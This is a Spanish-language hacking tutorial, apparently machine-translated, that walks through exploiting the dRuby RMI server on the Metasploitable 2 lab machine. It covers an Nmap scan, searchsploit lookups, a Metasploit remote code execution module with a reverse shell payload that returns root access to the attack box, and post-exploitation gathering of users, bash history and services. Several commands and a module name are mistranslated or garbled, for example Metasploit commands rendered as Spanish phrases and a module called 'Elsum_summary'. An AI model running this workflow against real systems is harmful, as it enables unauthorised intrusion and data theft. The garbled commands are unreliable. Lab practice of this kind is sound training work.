En este tutorial hackeará dRuby utilizando una vulnerabilidad de ejecución remota de código en el servidor dRuby RMI que se ejecuta en Metasploitable 2. dRuby es un sistema de objetos distribuidospara Ruby y está escrito en Ruby. dRuby usa su propio protocolo y se une a un URI como druby: //example.com en el puerto 8787. Por defecto, el puerto 8787 no es escaneado por Nmap ya que no está incluido en la lista de 1.000 puertos comunes que se escanean de manera predeterminada cuando no se especifican opciones de puerto adicionales. El puerto abierto 8787 en Metasploitable 2 permanecería desapercibido a menos que usemos el indicador -p- para escanear todos los 65535 puertos o usemos un rango de puertos que incluya el puerto 8787. Este ejemplo nos muestra la importancia de ejecutar siempre un escaneo de puerto completo en un objetivo al realizar la enumeración de la red. Podríamos fácilmente perder información crucial que puede usarse para comprometer el objetivo.

Hackear dRuby RMI Server 1.8 con Metasploit

Comenzaremos el tutorial de piratería dRuby con el escaneo del puerto 8787 con Nmap y luego realizaremos una evaluación de vulnerabilidad. Que estaremos pirateando el servidor dRuby RMI utilizando Metasploit mediante la explotación de las vulnerabilidades encontradas. Concluiremos este tutorial con un script de post explotación de Metasploit para recopilar información del sistema comprometido y revisar las lecciones aprendidas.

Escaneo de Nmap en el puerto 8787

Ejecutamos el siguiente comando en la consola para realizar un análisis del Servicio Nmap en Metasploitable en el puerto 8787:

nmap -sV [IP] -p8787

hackear dRuby

Nmap portscan en el puerto 8787.

Como ya esperábamos, el puerto 8787 está abierto y el servidor Ruby DRb RMI versión 1.8 se está ejecutando en el host de destino. Veamos qué vulnerabilidades están disponibles para esta versión de Ruby distribuido (dRuby) usando searchsploit.

Searchsploit dRuby exploits

Intentemos buscar en la base de datos de searchsploit usando una búsqueda de coincidencia exacta usando el indicador -e:

searchsploit -e Ruby DRb RMI

exploiting-druby-rmi-server-1-8-2

No hay resultados.

La consulta de coincidencia exacta no arroja ningún resultado. Esto significa que debemos usar un término de búsqueda más general. Podríamos eliminar RMI del término de búsqueda y, si eso no arroja ningún resultado, podemos simplemente buscar los exploits de Ruby y examinar los resultados uno por uno. Personalmente, sugiero usar este enfoque, donde pasamos de términos de búsqueda específicos a términos de búsqueda generales, cuando un término de búsqueda general arroja demasiados resultados. Por ejemplo, el término de búsqueda WordPress devuelve 100 de resultados y ‘WordPress 3’ solo 9.

Cuando buscamos Searchsploit para Ruby exploit utilizando el siguiente comando, se nos presentan menos de 30 resultados:

searchsploit ruby

exploiting-druby-searchsploit

Resultados de búsqueda para ruby ​​en searchsploit.

Cuando revisamos la lista de exploits, podemos ver 2 exploits para Distributed Ruby que vale la pena examinar más a fondo. Reduzcamos los resultados buscando “Distributed Ruby”:

exploiting-druby-rmi-server-1-8-4

Hazañas distribuidas de Ruby.

Recuerde colocar el distintivo -e en nuestro comando para mostrar solo los resultados que coinciden directamente con este término de búsqueda. Echemos un vistazo al exploit Distributed Ruby Send instance_eval / syscall Code Execution. Cuando usamos el siguiente comando podemos obtener información adicional sobre el exploto y la ruta al exploit se copia al portapapeles:

searchsploit -p 17058

exploiting-druby-rmi-server-1-8-5

Copie la ruta al exploit en el portapapeles.

A continuación, podemos verificar el contenido del archivo con el siguiente comando:

cat / usr/share/exploitdb/platforms/linux/remote/17058.rb

exploiting-druby-rmi-server-1-8-exploit

Metasploit: hackear el servidor dRuby RMI 1.8

Podemos ver que estamos lidiando con un exploit Metasploit aquí. Arranquemos Metasploit y busquemos el exploit allí. Ejecute el siguiente comando para iniciar msfconsole:

msfconsole

Como conocemos el nombre del exploit, solo podemos buscar el campo de nombre con el siguiente comando:

nombre de búsqueda: Ruby distribuido Enviar instance_eval / syscall Ejecución de código

exploiting-druby-rmi-server-1-8-metasploit

Distributed Ruby Send instance_eval / syscall Ejecución de código

Y luego seleccione el exploit usando el comando de uso:

use exploit / linux / misc / drb_remote_codeexec

Primero configuremos una carga útil de shell inverso de Ruby para este exploit usando el siguiente comando:

establecer la carga útil cmd / unix / reverse_ruby

Use el comando de opciones para mostrar las opciones disponibles para este exploit:

opciones

exploiting-druby-rmi-server-1-8-Metasploit-exploit-options

Opciones de explotación.

Luego tenemos que configurar el LHOST para la carga útil:

establecer LHOST [IP attack box]

Y configuramos el URI usando el siguiente comando (el formato esperado se menciona en la descripción):

establecer URI druby: // [IP de destino]: 8787

El puerto de escucha se puede dejar como está. Todo lo que queda ahora es ejecutar el exploit usando el comando exploit y si todo se hace correctamente un shell inverso con privilegios de root se devuelve al cuadro de ataque:

exploiting-druby-rmi-server-1-8-rootshell

Root Shell!

Recopilación de información posterior a la explotación

Avancemos un paso más y echemos un vistazo a uno de los módulos posteriores a la explotación / recopilación de información disponibles para Linux, el módulo enum_system. Podemos seleccionar este módulo haciendo un fondo de la sesión del shell de comandos 1 usando CTRL + Z. Luego nos pedirá que hagamos un seguimiento de la sesión actual, confirmaremos con ‘y’.

exploiting-druby-rmi-server-1-8-background-session

Presione y para ver la sesión en segundo plano.

A continuación, seleccione el módulo enum_system con el siguiente comando:

usar enum_system

O:

use post / linux / gather / enum_system

Escriba el comando info para ver qué hace exactamente este módulo:

exploiting-druby-rmi-server-1-8-11

Use el comando info para la descripción de un módulo.

La descripción nos dice que los módulos recopilan información del sistema, como paquetes instalados, servicios instalados, información de montaje, lista de usuarios, historial de usuarios bash y trabajos cron.

Para ejecutar este módulo de recopilación de publicaciones, debemos apuntar el módulo a la sesión activa utilizando el siguiente comando:

establecer la sesión 1

Ahora escriba ejecutar para ejecutar el módulo:

correr

exploiting-druby-rmi-server-1-8-post-explotación

Módulo de post explotación / recopilación de información terminado con éxito.

Podemos ver que toda la información se descarga a nuestro cuadro de ataque y se almacena en la siguiente ubicación:

/root/.msf4/loot/

Para examinar los archivos, simplemente puede enviar un cd a la ubicación y registrar los contenidos de los archivos de texto en la consola.

Lecciones aprendidas

En este tutorial de explotación, hemos aprendido algunas cosas importantes cuando se realizan pruebas de penetración. Repasemos las lecciones aprendidas en este Tutorial de Hacking.

Escanee todos los puertos

Lo primero que hemos aprendido es que debemos analizar todos los puertos disponibles en un host traget al realizar una prueba de penetración. Cuando estamos ejecutando los escaneos de puertos NMap predeterminados, solo se escanean los 1000 puertos principales. En este tutorial hemos comprometido un host que usa un servicio que se ejecuta en un puerto que no estaba en la lista de puertos predeterminada de NMap.

Buscar exploits de manera efectiva y eficiente

También aprendimos cómo usar searchsploit de manera efectiva cuando se devuelven demasiados resultados o ninguno. Un buen enfoque cuando un término de búsqueda general retorna a muchos resultados es pasar de términos de búsqueda muy específicos a términos de búsqueda más generales. Muy específico podría ser el nombre del servicio, incluido el número de versión, y un término de búsqueda más general podría ser solo el nombre del servicio. En este tutorial, el término de búsqueda ‘Ruby DRB RMI’ no arrojó ningún resultado, pero ‘Distributed Ruby’ obtuvo los resultados que estábamos buscando.

Recopilación y explotación de información posterior

Por último, hemos visto algunos de los módulos de post reunión de Metasploit: enum_system. después de hackear dRuby, puede descargar información importante del host comprometido a nuestro cuadro de ataque utilizando el módulo Elsum_summary. Tales como archivos de registro, archivos y servicios setuid / setgid. La recopilación y explotación de información postal es una parte importante de cada prueba de penetración. En este caso, obtuvimos acceso raíz al host en el primer shell inverso. Con mayor frecuencia, se devuelve un shell con privilegios y las técnicas posteriores a la explotación se deben usar para la escalada de privilegios. En tutoriales a seguir vamos a entrar en más detalles sobre la explotación posterior y la escalada de privilegios.

Fuente: Hackingtutorials.org

Compartir